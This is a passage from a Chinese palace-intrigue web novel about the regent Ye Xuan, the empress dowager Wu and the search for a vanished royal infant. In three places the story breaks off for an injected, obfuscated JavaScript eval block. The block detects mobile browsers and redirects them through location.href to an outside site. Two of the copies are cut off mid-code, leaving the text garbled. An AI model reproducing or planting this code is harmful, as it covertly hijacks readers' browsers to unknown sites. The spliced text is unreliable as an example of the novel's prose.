叶炫盯着他:“说呀!” 吴尚书这时在想,如果沐灏天是抱着孩子逃出宫,那他怎么能够躲过神鹰和白猿?于是他说:“沐灏天的失踪的确奇怪,若是逃离出宫,必经神鹰和老猿那关,难道他与婴儿已被神鹰啄食,或被白猿撕碎?” 叶炫想想说:“当年先帝将神鹰和白猿从野灵山带回,抚养长大,成为护卫皇宫的吉祥神兽,至今从未有过闪失,难道这沐灏天暗藏武功,是个一等一的高手?” 周攸元这时上前来,说道:“此吉祥神兽甚有灵性,这是悒国之福,自从有它,万国朝圣……” “有福个屁!”叶炫皱着眉头道,“一会是神鹰,一会是白猿,最后还来个老虎……听你们大家的意思,都是想说沐灏天已经落入猛兽之口了吧?那么还有一人呢,那个女人?” 吴尚书忙说:“我们已查到沐灏天在京城的住处,但早已人去楼空,里面住的那个女人也不见了,不知是否是与沐灏天一块逃了?不是还有另一匹马吗?” “有没有另一种可能,”叶真疑似开始搅局,他望着大殿的房梁说,“沐灏天使的是障眼法,其实还躲在宫里?” 叶炫心里一惊,不由说:“三皇子提醒得对,这皇宫里也要查,每个角落、包括每口井眼,都要一一细查,宫里的事就由王公公去办。” 王智鹏低头道:“是。” 接下去宫中出现这样的画面:太监、宫女和侍卫们开始在宫廷的每一个角落,窜来窜去,每个角落、每口井眼、每个假山、每个门洞……都开始查找搜寻,有些太监和宫女住的地方,侍卫也在翻箱倒柜。 结果,沐灏天和婴孩没寻着,却逮住了一个假太监和一个宫女在床上偷情,于是捉住吊打审讯,闹得乌烟瘴气…… 千寿宫里,已崩皇帝叶成武的遗孀皇后吴氏,正在问身边的李公公:“外面闹嚷嚷的,他们在做什么呢?” 李公公忙回答:“总管太监王智鹏奉二殿下之命,正在宫中到处搜寻,看看能否找到沐灏天和孩子。” “让智鹏费心了……”吴氏说,“对了,你去二殿下那里,叫二殿下来我这里一趟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885043|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是。”李公公说。 …… 第二日,在大殿上,二皇子叶炫有些喜形于色,开始说道:“国家不可一日无主,按例制,先帝丧礼等一干事务,需由继位者去任命山陵五使,尤其是山陵按行使,负责陵地勘察,其余撰陵名、哀册文、谥册文诸事宜,也要由各大臣负责……” 下面众官里,这时突然有人站出来拱手说:“二皇子德高望重,必能堪当此大任!” 叶炫一听,便拿眼去瞟左边坐椅上的三皇子叶真,叶真泛着青光的脸上面带微笑,连忙起身拱手道:“二皇子是兄长,理应担当起治理国家的重任,叶真愿意辅助其左右……” 叶炫便说:“此事昨日母后已找我商议……呵呵,应该是太后了……现在既然大家也极力推举,寡人也没必要再阻拦,自当挑起重担,王公公,宣旨吧……” 殿前的王智鹏便从怀里拿出已准备好的、由吴氏亲审并润色过字句的所谓“先帝遗诏”,拖长声音宣道: “应天顺时,受兹明命:帝王治国,需勤劬一生,方能惠及社稷、泽被苍生,为君者也需心系家国,至死不懈,并为社稷,惟德是辅,然油尽灯枯,遽至弥留……” 就在王智鹏宣读“先帝遗诏”的同时,皇宫西南角的东宫里,昔日的太子妃李慧儿正倚靠在窗前望着天空,由于刚生孩子,又受了惊吓和刺激,身体十分虚弱。 但见她脸色憔悴,双眼失神,贴身宫女浣菱正在将熬好的汤药给她端进来,递给她,小声说道:“娘娘,该喝药了,身体要紧。” 偌大的东宫里,那些太子六傅、幕僚、侍卫、宫女等一干人,早已如鸟兽散,只剩下最后两个侍卫和几个没地方去的宫女在那里打扫庭院、浇灌花草,冷清的景象与昔日的热闹繁华大相径庭。 几个宫女正在那里打扫,这时,寝宫里突然传来碗盏摔碎的声音,同时又传来太子妃的哭喊声:“我不吃药,我要我的小萌萌,我的小宝宝啊,你究竟在哪……” 宫女们顿时停住打扫,都掉头朝那边寝宫窗户望去,然后面面相觑…… 这边的紫晨殿内,王智鹏仍在宣读“遗诏”: “皇子三人,皆聪慧过人,太子坤过于赢弱,皇子真气度稍逊,唯皇子炫勤学道德,宵衣旰食,得天庇佑,朕今有遗诏,传位于炫,暂、暂为……” 叶炫眉头一皱,掉头道:“王公公吞吞吐吐的做甚?” 王智鹏嗫嚅一下,继续念道:“暂为悒国代理储君……” 叶炫的眉头皱得更紧,喃喃道:“暂为代理?……” 王智鹏点点头,不动声色道:“是,皇后的意思。” “哦……”叶炫连忙缓过气来,皮笑肉不笑地说,“母后说得对,就按她老人家意思办。” 于是众百官伏地恭祝,心照不宣地唱喏:“恭喜殿下,贺喜殿下,殿下千岁、千岁、千千岁!” 殿外的空中像是呼应,只听神鹰一声尖利的鸣叫,划破长空…… 散朝后,未来的新皇叶炫前去千寿宫拜见母后吴氏,吴氏现在马上就是皇太后,仍然掌管后宫,以前的“宫中佳丽”,要在新帝登基后,才会进行重新安置,不过这一切不需烦劳她亲自安排,只需动动口舌就行。 那个叫李斗换的公公站在门口,他现在是吴氏身边的太监,一见未来的新皇来了,便朝寝宫里高声通报:“代理储君叶炫殿下驾到!” 叶炫不由得瞥了李公公一眼,李公公连忙对他一笑,垂下头去。 叶炫鼻子一哼,进了寝宫,见母后头戴凤冠,端坐于雕花凤椅,便扑卧上前行个大礼,口中念道:“儿臣前来给母后请安!” 吴氏面无表情,挥挥手让他坐下,然后开始一板一眼地教诲起他:“你知道,这是一份润色过字句的假遗诏,也是权宜之计,因为现在叶坤已经……既然我暂定你为代理储君,快当新皇,你以后就要以德服众……” “是是!”叶炫连忙点头说。 7. 皇后除奸 叶真献礼 吴氏继续说:“还是怪我,以前我只专心服侍先帝,从不管朝政,不料竟出了这种事……唉,坤儿的天命既然如此,也无办法,但李慧儿毕竟曾是皇家的太子妃,遭遇不幸,神经受了刺激,你要善待。” 叶炫说:“一切听凭皇后安排,儿臣遵照就是。” 皇后又说:“你要记住,她生的孩子就是明浩公主,乃我皇家正统……”说着说着便有些哽咽,“唉,怎么说丢就丢了呢?这件事蹊跷得很啊……”说着掩袖袍揩泪,同时又拿眼去悄悄瞟了瞟叶炫。 叶炫毫无觉察,大大咧咧地说:“叶坤的侍卫沐灏天也不见了,他嫌疑最大,现在我正命人搜寻缉拿他,听说此人武功高强,除了会飞檐走壁,还会遁术?” “什么遁术不遁术!”吴氏说,“哀家以为,目前的当务之急有两个,除了寻找到孩子,还要彻查你兄叶坤被刺案的背后,他究竟是为何而死?何人所为?” 叶炫思忖片刻,小心翼翼说道:“这……会不会也与沐灏天有关?” 吴氏慢慢说:“怎么讲?” 叶炫说:“我听到过一种传言,说……说叶坤的这个贴身侍从,与太子妃李慧儿似有……似有暗通款曲、私情勾连的嫌疑?” 吴氏一听,双眉皱紧了,脸色也变得无比凝重起来,久久没再说话。 叶炫见状,不敢深说,于是把话头一转,又说:“母后别担心,我已吩咐典签帅,让他们逐一严查,一个细节也不放过,母后还是静心调养吧,儿臣……儿臣还有其他事,先行告辞……” 见吴氏点点头,叶炫便退出了寝宫,一出去,便悄悄地吁了一口气。 …… 叶炫刚离开,屏风背后闪出一贴身女侍卫,她叫米莲,刚进宫来吴氏身边,寡瘦的脸上面无表情,颧骨突出,目露凶光,微扎马步,一看就不是省油的灯。她双臂前抱,低着头恭敬地站在太后旁边。 吴氏微微侧过头去,对她说道:“这件事你安排人去……不,你亲自去细查,不得声张,更不许外传!” “是,”米莲说。 “还有,”吴氏看着她,慢慢地用手指往后面指指。 “明白。”米莲点点头,迅速退下。 米莲退到后院,四处环顾,恰好看到小太监邓柏慌慌张张过来,于是等他走近,悄悄用手推了奉茶宫女后腰一把,宫女歪走两步,邓柏不小心撞着奉茶宫女,宫女的茶盘顿时落地,打碎了茶盘茶盏。 邓柏正要对宫女发作,一见旁边的米莲,连忙祝揖,而这米莲也不出声,突然细腰一挫,伸出手就是一掌,“啪”地将邓柏打到三丈开外的一个廊柱上,当场口吐鲜血。 众宫女吓得纷纷后退,小太监邓柏也抹着嘴角的血,痛得呲牙,哭叫道:“姐姐饶命……” 不料米莲面无表情地说:“胆大妄为之徒,竟敢肆意冲撞皇后茶盘茶盏,调戏宫女,把他拿去喂神鹰!” 于是,一干侍卫将这满脸是血的小太监抬起,在他的哀嚎声中,朝后院拥而去,消失不见……少顷,只听“啊”的一声惨叫,同时传来鹰的一声长嚎。 周围的空气凝固一般,周遭那些宫女大气不敢出,纷纷蹿走退去。 …… 太后寝宫里,叶炫刚走不久,三皇子叶真也来给吴氏请安了。 这叶真,眼睛也有些红红的,似有泪痕,一看就像因皇兄薨逝而感到悲痛,见到吴氏就噗通一跪,哽咽道:“儿臣前来给母后请安,大哥遭遇不幸,为弟心中也难过不已,还望母后节哀顺变……呜呜……”竟痛哭起来。 此时的吴氏心绪烦乱,只是尽量地控制着自己,清楚自己不能先乱了方寸,待到心情稍微平复,这才问他道:“真儿,你大哥叶坤遭此横祸,谁也不曾料到,但国不可一日无主,你兄长叶炫暂继储君之位,你有何看法?” 这叶真除了脸青,长相还有些阴,看起来没什么表情,但仔细从眼神上看,可知内心活动十分丰富。他一听吴氏问他,想都未想便脱口而出:“回母后,二哥叶炫胸怀大志,心思缜密,自然应由他来掌管诸国事,我当尽力辅助左右,不会有丝毫其他看法,想必在他的治理下,悒国从此会兴旺起来。” “他心思缜密?”吴氏慢慢说道,“我怎么没看出来?” 叶真唯唯诺诺,不作声。 吴氏转而又说:“唉,你呀……你就是心怀柔慈,哀家心里虽然甚慰,不过,你性格缺少些刚强,若是再多些阳刚之气,那便更好。” 叶真已止住悲痛,努力挤出一丝丝微笑,道:“圣人教诲,心怀柔慈,普济大众,穷则独善其身,达则兼善天下,是为君子之道矣。” 吴氏叹了口气,黯然神伤的样子,良久用手帕擦擦湿润的眼睛,又说:“这……你兄叶坤之死甚为蹊跷,究竟何人敢于冒天下之大不韪,一定得查!依你看,这事会不会与你兄长叶炫有关系呢?毕竟有传言,说他是最大得益者,疑点最大。” 叶真的眼珠子就开始转圈,然后拱手说:“二兄长既然已代理储君,就是今后的皇上,究竟是谁在背后谗言离间,谤我二哥?古人云,德不配位,必有殃灾,我二哥品行端正,虽有些强势,但也算有尧舜之风,有他在位,正是我叶家之幸矣!” 吴氏听了,连连叹气,说:“倘若你真这么想,哀家也随你了,你回去吧……” 叶真正要告辞,忽想起什么,又说:“母后,儿臣还有一事……” “哦?”吴氏问,“还有何事?” 叶真迟疑片刻,羞怯地说道:“近日一山中朋友给我送来一物,是两株千年人参,非常稀罕,据说吃了会延年益寿,我想送母后一株,另一株也想请你替我转送二哥……” 吴氏听他这一说,忽想起什么,又问:“对了,听闻你在专心研习长生之道,甚好。不过,你可以亲自送一株给兄长啊,为何要我替你转送?” 叶真说:“他在家虽是兄长,不过在外他是未来的皇帝,而我只是臣子,君臣之道我还是懂得的,我这样去送,怕有讨好嫌疑,坏了名声?” 吴氏想想说:“好吧,看在你一片孝心的名下,我替你转送便是。” 叶真这才起身告辞。 叶真刚走,吴氏便慢慢举手轻轻一挥,屏风后又闪出米莲,仍然是双臂抱前,低头站在太后旁边。 吴氏头也不回地说:“处理啦?” 米莲说:“嗯,喂了神鹰。” 皇后恨恨地说:“狗奴才,竟敢充当储君的奸细!传话出去,就说邓柏调戏宫女,失足栽入井中,捞起来已死,喂鹰了!” 米莲说:“嗯,我已对下人说他调戏宫女了……”迟疑了一下,又补充一句,“不过,说他调戏宫女?会不会……” 吴氏好像知道她会这么问似的,说:“就是要让人觉得不可思议,然后再去猜测……” 米莲是聪明之人,立即就明白了,说:“皇后英明!” 吴氏又指着寝宫门外问道:“三皇子叶真这个人,你怎么看?” 米莲低着头不出声,而且一动不动,像个聋子死人一般。 吴氏盯着自己脚下,头微微一侧:“怎么啦?”仍是无声,于是皇后便说,“虽然贵妃高氏当年临死前,将叶炫和叶真这两个孩子托付与我,由我抚养长大,不算我亲生,也胜似亲生……”说到这里,也觉得有些过于矫情了,于是咳嗽两声,掏出手帕捂着嘴。 停顿片刻,又补充了后半句道:“但是,皇室之事无小事,你现在是我最信任的心腹,事关重大,但说无妨。” 米莲看看左右,仍在犹豫,于是吴氏挥手让几位侍候的宫女退下,米莲这才说:“我觉得三皇子这人算得上人中龙凤,表面仁慈厚道,心机却深如渊海,我猜不透他。” “哦?”吴氏不动声色,淡淡地说,“你凭什么这样说呢?” 米莲又瞥了吴氏一眼,道:“当然,我现在还没有任何凭证,这只是我的一种感觉,究竟这种奇怪的感觉来自哪里,连我自己也说不清楚。” 吴氏沉思良久,然后转过身对米莲说:“把你的手伸出来……” 米莲不知何意,迟迟疑疑地伸出右手,吴氏便握住她的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴氏点点头,说:“难得这个叶真一片孝心,也难得他对皇兄的一片兄弟之情,收下吧……” 米莲上前,收下人参。 吴氏又说:“你回吧,告诉三殿下,平时没事时,让他多来我这里走动走动,来看望我这孤独的老婆子!” “是。”巧巧站起身,埋着头,弯着腰,踩着碎步退了出去。 这巧巧前脚刚迈出寝宫门槛,后脚还未迈出去,米莲就将碎花托盘递去让吴氏观看,吴氏看了看,道:“倒是两株上好的野山参,不过……”便抬头望望米莲。 米莲会意,道:“是。”然后将这托盘端了下去,交给专门负责太后膳食的太监,压低声音说:“拿去验验……” “是。”侍膳太监接过托盘,退了下去。 …… 叶炫在永延殿的寝宫里,也未闲着,他正与待正式册封的沈婉如大谈悒国的未来,以及自己的宏图伟业,这时公公王智鹏领着另一个小太监急急忙忙进来,小太监由于过于惊吓,还不小心跌了一跤。 叶炫见状,压低声音说:“慌什么?” 小太监从地上爬起来,王智鹏示意他,赶快禀报。 叶炫说:“讲!” 小太监惊恐地禀报说:“邓、邓柏他……他被皇后喂鹰了……” “啊?”一旁的沈婉如惊吓得睁大了眼睛。 叶炫也吃了一惊,问道:“怎么回事?你慢慢讲来。” 小太监惊魂未定地说:“皇后那边传来的消息,称邓柏调戏宫女,不小心坠落深井,打捞起来时已经溺亡,皇后嫌脏,就命人将其扔到后院喂鹰了……” “邓柏调戏宫女?切!”叶炫嗤之以鼻,沉吟片刻,又道:“此事勿再声张,在外谁也不许再传。” 王智鹏和小太监说:“是。”然后退下。 他们走后,沈婉如问道:“陛下,邓柏是你安排在吴氏身边的人?” “嘘!”叶炫忙把食指放到嘴唇,然后看看四周,四周也没人,他这才缓过来,忽将袖袍一挥,说道:“还未到时候,谁叫你乱喊?这事你别去管……不过,这事也有点蹊跷,难道母后有所察觉?还是那邓柏果有其事?” “嗤!”沈婉如不屑地说:“鬼才相信一个小太监会去调戏宫女!母后这人老奸巨猾,你以后做事得考虑周全、小心做事。现在你虽为储君,但仍是代理,宫中许多事还未了,那话怎么说来着?……危机四伏?” 8. 叶炫被迷,案件端倪 正在这时,王智鹏又进来禀报,这回他面有喜色,压低声音说道:“殿下,皇后差人送来一株千年人参。” “哦?”叶炫疑惑地说,“快传进来。” 一宫女端着托盘,踩着碎步进来了,献上了人参。 叶炫命人收下人参,正要让宫女回去谢皇后,可是当宫女抬起头时,叶炫突然认出是彩儿,于是愣了一下,然后掉头望望王智鹏;王智鹏心领神会,将一旁侍候的人挥手唤下,自己也退了出去。 叶炫这才开口说:“皇后那边,三皇子叶真也去请安了?” 彩儿点点头。 叶炫问:“说了些甚?” 于是彩儿将叶真与吴氏见面说的话,一五一十地对叶炫禀报起来…… 与此同时,正候在殿外的王智鹏见叶炫的侧妃杨媛媛朝永延殿来了,于是笑盈盈地迎上前去,拱手说:“给杨娘娘请安!” 杨媛媛回礼:“王公公可好?” 王智鹏笑道:“老奴托杨娘娘的福,尚好尚好……” 杨媛媛朝殿门那里瞟了瞟,问:“殿下可在?” 王智鹏说:“在,在,正在殿内与未来的新皇后说话呢。” 杨媛媛撇撇嘴,正要进去,王智鹏却挡住了她,压低声音说:“杨娘娘稍候,皇后派人给殿下送来一株千年人参,殿下正在对来人问话呢。” 杨媛媛觉得奇怪,便问:“这有什么,又不是什么机密大事,还怕我知道不成?” 王智鹏突然眼睛一亮,瞧着杨媛媛的身上说:“哟,我说杨娘娘今天看上去怎么与往常不一样,原来是换上了一件大红丝绸裙,看上去人显得更年轻、更喜庆了呢!” 这杨媛媛,长着一双丹凤眼,瞳眸灿若星子,脸颊淡抹胭脂,显得娇艳欲滴,菱唇微微上翘,看上去惹人喜爱。 她听王公公夸她,更是喜欢得很,轻抚绸裙说:“这是殿下送我的,自然好看。” 王智鹏又道:“瞧着杨娘娘,让老奴想起了西汉时期那个李延年的妹妹……” “哦?”杨媛媛好奇地说,“李延年的妹妹是何人?” 王智鹏说:“也是一位绝世美人,李延年把她送给汉武帝时,献歌道:‘北方有佳人,绝世而独立,一顾倾人城,再顾倾人国。宁不知倾城与倾国,佳人难再得。’” 杨媛媛笑道:“王公公就知道拿我打趣儿,对了,你莫不是在戏耍我,故意拖延时间?我可要进去了……” 王智鹏忙说:“哎哎,杨娘娘稍候,老奴这就进去禀报一声。” 殿内,叶炫听了彩儿的密报,又得知这千年人参是三弟叶真托太后转送,嘴角不由绽开微笑,点点头说:“叶真这个弟弟,看上去还算厚道,待我不错,其实他心里那点小九九我还不知?” “哦?”沈婉如忙问,“他打的什么算盘?” 叶炫开始在房里慢慢踱起步来,鼻子一哼,道:“他打的算盘很精啊,不就是在等我登基大典后,想继续留京吗?然后让我册封为亲王,名曰:助我一臂之力?不过,只要他能乖乖听话,不搞事,我还是会考虑的。” “原来如此!”沈婉如点点头,说:“听闻他喜欢修仙炼道,到处寻访世外高人,还在书房亲自炼丹,说是只要炼得真丹,就可得到长生不老之术?……对了,新皇龙体一直欠佳,空时还是该去他那里,跟着他学点调养功夫……” 这显然是话中有话,叶炫自然是听得出来,意思是让他注意身体,勿沉迷美色,尤其是那个之前叶真给他送过来的“狐狸精”。 “唉呀,你这人真是!”叶炫不耐烦地说,“别什么事都要去针对她,也别整天疑神疑鬼的,就算她是叶真派来的,那又怎么样?切!” 正在这时,王公公进来禀报说:“启禀殿下,侧妃杨媛媛到!” 沈婉如嘴角一撇,说:“正说曹操,曹操就到!” 叶炫笑道:“宣吧……”然后对彩儿挥挥手,彩儿点头退下。 杨媛媛进殿来正与彩儿擦身而过,她不由得仔细瞅了彩儿两眼,但见彩儿低着头、踩着碎步疾速而过,不像一般宫女,倒像是练功之人? 那瞬间,杨媛媛故意踩虚脚,“啊呀”一声扑向彩儿,彩儿叫了一声“娘娘小心”,然后用手扶住她,那手臂果然劲道有力。 叶炫忙说:“爱妃小心,没摔着吧?” 一旁的沈婉如幸灾乐祸的样子,抿嘴一笑,道:“幸好妹妹脚下踩的不是江山呢……” 杨媛媛说:“让殿下和姐姐见笑了……”回头再看,彩儿已出了殿外,不见了身影;又回过头说,“啊呀,殿下,刚才臣妾踩虚脚,姐姐就说我幸亏踩的不是江山,这明明就是在欺负我呢,你也不好好管教管教她?” 说这话的同时,那是百般娇媚态,万种风情姿,让叶炫看着心都要酥化了。 叶炫笑道:“婉如是给你开个玩笑,你勿当真,大家都是一家人了,不必较真。” 杨媛媛说:“按宫中礼制,未来的新皇后应是六宫之首,按年龄论,我也该称你一声姐姐,姐姐就要像个姐姐样,做出表率啊。” 沈婉如说:“唉,好人难当啊,等你到了姐姐这年龄,就知这六宫之事有多烦心,面前这个说不得、那个管不得,背后还有母后盯着……不把你愁成个老婆子才怪!” “我可不是老婆子,”杨媛媛最忌讳有人说她老,想起什么,忽然又道,“对了,刚才王公公还在夸我,说我像、像西汉时期那个李延年的妹妹呢,说什么‘北方有佳人,绝世而、而独立’……” 王公公慌忙去阻止她:“哎、哎……”无奈杨媛媛的话已说出。 叶炫掉头问王公公:“这话是你说的?” 王智鹏支支吾吾,又掌了一下自己的嘴。 沈婉如眼珠子一转,像是终于抓住了一个把柄,说:“这个李延年的妹妹呢,我知道,她的确不同凡响,对守城的将士瞧一眼,将士弃械,墙垣失守;对君临天下的皇帝瞧一眼,皇帝倾心,国家败亡!再美的美人,也常会带来倾城倾国的灾难啊……” 杨媛媛一听,惊了一下,掉头望着王智鹏,心里直犯嘀咕,不由说:“王公公,你难道是在给我挖坑啊?” 叶炫直瞪瞪地瞧着这个曾经侍奉过先帝的王公公,心里也是直犯嘀咕,不禁问:“你个老东西,究竟何意?” 王公公的额头微微沁出了细汗,他后悔得肠子都青了,怎么也没料到随便对杨媛媛说的一句夸赞话,杨媛媛立马就敞开嘴巴转述出来,还被未来的皇后沈婉如抓住了把柄? 他正盘算着要不要下跪请罪,但就在这跪与不跪的瞬间,忽来灵感,于是又站稳,笑道:“殿下和两位娘娘误解老奴的意思了,老奴本意是,借指李延年把自己妹妹送给汉武帝,用来把殿下比喻成将会创建出一番伟业的汉武帝呢!” 杨媛媛也回过神来,马上说:“对对,王公公就是这个意思……说你就是当今的刘彻!”说着还对沈婉如那边撇了下嘴。 王公公根本没说过这句,他见杨媛媛愈说愈离谱,又见叶炫面色和缓下来,于是赶紧调转话头说:“殿下,现在天气开始转好,御花园的御清池荷花正开,何不携二位娘娘一同前去赏花?” “好啊。”叶炫点头说 沈婉如却说:“殿下,臣妾最近老爱犯困,想去歇息一下,就不陪同去了……” 叶炫说:“好吧,婉如去好好休息,当心身体……”说完,就携同杨媛媛一众人去了御花园。 沈婉如却无心去歇息,只是她不愿看到杨媛媛那副嘴脸罢了,他们一走,她就去了后院,问宫女彩儿道:“小公主呢?” 彩儿愣了一下,沈婉如马上也回过神来,连忙改口说:“哦,小郡主呢?” 彩儿这才明白她说的就是云溪郡主,连忙笑道:“玲儿她们带着她在外面玩呢,我这就去把她抱来。” 一会,彩儿和玲儿就把小郡主带来了,可是这个云溪郡主天性野蛮,长得像个小子,在玲儿的怀抱里拼命挣扎,还用小手去打她抓她。 “成何体统!”沈婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶炫说:“哦,请他们前来。” 少顷,刑部尚书吴光、典签帅周攸元来了,叶炫望着他俩,问道:“我叫你们查太子被害一案,查得怎么样了?” 吴尚书拱拱手,说:“启禀殿下,有些眉目了,刺杀太子的箭经过仔细查验,此箭镞形状怪异,而且有毒,起初我们查找了军械库,也比对了京城众多射箭高手的箭弩,都没发现匹配的箭镞……” 叶炫道:“继续说。” 吴尚书上前一步,接着说:“我们派了几路人马在京城四处打探暗访,终于在城南一铁匠铺里发现了与此相同的箭镞。” 叶炫一听,眼睛睁圆,问道:“开铁匠铺的是何人?” 吴尚书回答:“是个叫曾蛮子的铁匠,已被我们抓捕带回,就关押在大理寺狱,只是,他说来他铁匠铺铸箭镞的人很多,他已记不清楚究竟是谁定制的这种箭镞了。” 叶炫道:“得查,再查,一定要查得水落石出,否则,有人还会怀疑、瞎猜……”想起什么,又掉向典签帅周攸元,“你那里呢,审问出来没有,那个徐大中和几个城门守卫怎么说的?” 周攸元愣了一下,支支吾吾地说:“启禀殿下,手下人在审问嫌犯过程中,由于出手过重,不慎将人打死了……” 叶炫一听,就像有一声惊雷在头上炸响,一下呆住了,张着嘴巴说不出话。 “微臣该死!回去一定严查手下,绝不姑息……”周攸元拱手说。 空气凝住了,周攸元与吴尚书对视一眼,见叶炫仍不着声,于是慢慢往后退下,悄悄告辞。 旁边的王公公也一声不吭。 这时,杨媛媛瞧着发呆的叶炫,嘴里冒出一句:“你是担心母后对你猜忌?” 叶炫没有正面回答,只是喃喃地说:“怎么会这样呢?母后刚让我登上储君之位,就发生了这样的事,若她怀疑是我在背后指使,岂不糟糕?” “所以要查,”杨媛媛宽慰叶炫说:“不过你也不必忧虑,让他们继续去查便是,既然此案有了些眉目,终会有结果的。” 王公公附和:“侧妃娘娘说得是。” 杨媛媛又挽着叶炫的手,撒娇地说:“殿下也不必自责,谁人敢猜忌未来的新皇?也不必担心母后,她既然是你母后,定会护着你,等到登基大典后,一切尘埃落定,你这个新皇就可大展宏图了……” 9. 皇后追凶,暗查线索 叶炫有些闷闷不乐,当晚又到杨媛媛寝宫寻求“安慰”去了。 不过,叶炫去之前,杨媛媛在那扇据说是辟邪的虎纹铜镜前梳妆打扮时,忽又发现那个神秘的纹花小药瓶,她连忙打开一看,里面果然又装着一丸。她顿时明白,这是要让她悄悄放在叶炫酒里的“春药”。 杨媛媛的眼前顿时浮现出之前叶炫喝了这放有“春药”之酒后的不堪情景—— 叶炫望着丰腴性感的杨媛媛,不禁春心大动,将她拥入怀里,然后推至上床,与她一夜销魂,神魂颠倒,难以自控……早上起床时,他头一晕,甚至从床榻跌下,回去昏睡了两日,还难以启齿,推说是受了风寒。 杨媛媛自然明白,这是有人在设计这“英雄难过美人关”的局。不过,这一切都是单线联系,她也不敢去深问,否则,不仅这侧妃地位和荣华富贵都会泡汤,恐怕连性命都不保! …… 吴氏的千寿宫那边,米莲在邓柏的住处仔细查找,什么都没有,但在搜寻枕头下面时,忽摸到个缝在枕头里的什么东西,于是撕开枕头一角,掏出那东西,原来只是一个“护身符”。 她快步去了吴氏那里,把这“护身符”递了上去,说道:“启禀皇后,查了,邓柏房里什么都没有,只有这个。” 吴氏拿着这“护身符”翻来覆去看,看不出有什么特别之处,于是还给米莲,道:“你空时可派人到城中各寺庙走走,看看哪处寺庙的平安符与这相似?” 米莲迟疑道:“是。不过……这有什么关系吗?” “没多大关系。”吴氏说。 “那?……”米莲不解。 “让你多去历练历练啊!”吴氏漫不经心地说。 “是。”米莲点点头,然后接过这“护身符”,想起什么,又说,“对了皇后,还有一事,刚才得知,被典签帅抓去审问的那几个城门守卫,被打死了。” “哦?”吴氏皱起了眉头,“这么巧啊?” 米莲不明白地问:“皇后是在怀疑储君叶炫,想掐断线索?” “他不会这么傻吧?”吴氏没正面回答,想想又说,“快去把李公公叫来!” “是。”米莲说。 …… 深夜,相国吴国成的府邸里暗影婆娑,悄无声息,树林里偶尔传来一只雕鸮的“嗒、嗒”叫声,令人毛骨悚然。 书房里,吴国成仍然未有睡意,正在来回踱步,想着朝堂之事。这时长史颜柳文进来了。颜柳文本是太子府长史,叶坤被害后,吴国成迅速将他邀来相国府做了幕僚,对外声称慕其颜长史光明磊落的人品和卓尔不群的才华,实则是听从了皇后的安排。 “相国,李公公来了!”颜柳文悄悄说。 “哦?快请!”吴国成说。 少顷,李公公进来了,压低声音说:“皇后口谕,请吴相国和颜长史秘密进宫,有要事相商……” 吴国成与颜柳文互看一眼,心领神会,于是跟随李公公出去,坐上官轿,趁着浓厚的夜色悄悄朝皇宫方向赶去。 千寿宫里,吴氏正在寝宫里等着,吴相国和颜长史随李公公进来,拜见了吴氏,吴氏赐座,然后对他们说:“今儿请吴相国和颜长史来,就是想与两位大人认真议一议太子案……” “怎么,”吴相国说,“皇后那里有何新情况?” “的确是新情况,有人在动了……”见他们不明白,吴氏又说,“据典签帅报,那几个被抓去审问的城门守卫,被他手下的人失手打死了。” 不愧是吴相国,一下就明白吴氏的意思:“皇后是说,这背后是有人开始行动,在制造叶炫杀人灭口的假象?也即说,他想让大家朝某个方向去推测,叶炫其实是想掩盖自己另一个阴谋?” 吴氏没有表态,又说:“自从此案的关键人、叶坤的贴身侍卫沐灏天渺无踪影后,至今仍石沉大海,这情况你们都知道,二位有何建议?” 吴相国想了想,掉头对颜长史说:“颜大人以前跟随过太子,东宫里的情况比较熟悉,还是你先来说说吧。” 颜长史点点头,道:“就我所知,太子和太子妃的孩子应该是被沐灏天抱走藏起来,不过我敢保证,皇后曾对沐灏天有恩,沐灏天一定是怕孩子受到伤害,所以是为了保护孩子才这样做的!” 吴氏听了,望向吴国成,吴国成对她点了点头,道:“微臣也觉得是这样。” “他会躲藏到哪去呢?”吴氏说,“听闻典签帅周攸元亲自率人追到边关也没见到人,只见到两匹马,北旗那边是蛮荒之地,又与我悒国不和,他不大可能去那里,怎么人就凭空不见了呢?” 颜长史想了想,说:“对了,太子叶坤身边的贴身侍卫还有个叫林啸的,他与沐灏天的关系最好,太子出事后,他也藏匿不见,不知还能否找到他?” 吴氏马上问:“之前他住哪?” 颜长史说:“就在京城,他和沐灏天一样,也是太子赏赐的住房,好像在……在东门的一条什么巷子?” 吴氏一听,掉头望向一旁的米莲,原来她们早就议论过这个,米莲立即拱手道:“是。” 颜长史连忙用双手一挡,说:“且慢,这林啸也是太子最信任的人,若是抓他,恐……恐怕不妥……” 吴氏便说:“颜大人多虑了,我不是要抓他,而是要保护他……”顿了顿,又说,“你想,他是太子身边的人,太子出事,贴身侍卫沐灏天躲藏,他这个贴身侍卫还能安全吗?就没人想加害他、或对他不利?” 吴国成对颜长史说:“是这个理!”然后又掉头对吴氏说,“要不要我派府上的中卫将军吴虎带人一同前去?” 吴氏摆摆手,道:“阵仗大了反倒不好……”然后对米莲点点头,米莲会意,快步出去了…… 米莲走后,吴氏对吴国成和颜长史说:“两位大人都是先帝和太子生前最信任的人,在太子被害一案上,两位大人一定要帮帮我、查找到真凶啊!” 吴国成和颜长史连忙点头说:“那是那是!现在最关键的是证据……” “是的,”吴氏点头说,“证据!” …… 东门处一条黑黢黢的小巷里,静谧无声,一条黑影闪过,跃上墙头,跳到了一处小院里。黑影停顿一会,见四周没有动静,这才蹑手蹑脚朝房门走去,然后推开房门进去。 